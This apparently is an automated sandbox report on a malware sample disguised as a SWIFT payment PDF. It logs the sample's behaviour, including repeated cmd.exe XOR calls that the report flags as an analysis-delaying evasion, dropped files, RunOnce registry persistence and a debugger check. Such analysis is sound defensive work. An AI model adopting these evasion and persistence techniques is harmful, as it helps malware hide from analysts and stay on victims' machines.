Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "193^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_00405EA2 GetModuleHandleA,LoadLibraryA,GetProcAddress,

6_2_00405EA2

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_10002CE0 push eax; ret

6_2_10002D0E

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File created: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File created: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File created: C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe	Jump to dropped file

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Blankbook	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Blankbook	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Blankbook	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Blankbook	Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Mass process execution to delay analysis

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "130^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll			Jump to dropped file
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_00405454 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	6_2_00405454
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_00405E7B FindFirstFileA,FindClose,	6_2_00405E7B
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 6_2_0040264F FindFirstFileA,	6_2_0040264F
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_0040264F FindFirstFileA,	136_2_0040264F
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_00405454 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	136_2_00405454
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Code function: 136_2_00405E7B FindFirstFileA,FindClose,	136_2_00405E7B

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\udskriftskartotek\chiromancy\refalling\Nonessential\Uforstaaeligheds.Com	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134625856432.00000000076BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134625856432.00000000076BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWk

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	API call chain: ExitProcess graph end node	graph_6-4294
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	API call chain: ExitProcess graph end node	graph_6-4136
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	API call chain: ExitProcess graph end node	graph_136-3313
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	API call chain: ExitProcess graph end node	graph_136-3319

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_00402C33 GetTempPathA,GetTickCount,GetModuleFileNameA,GetFileSize,LdrInitializeThunk,GlobalAlloc,SetFilePointer,

6_2_00402C33

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_00405EA2 GetModuleHandleA,LoadLibraryA,GetProcAddress,

6_2_00405EA2

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "130^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "247^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "193^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
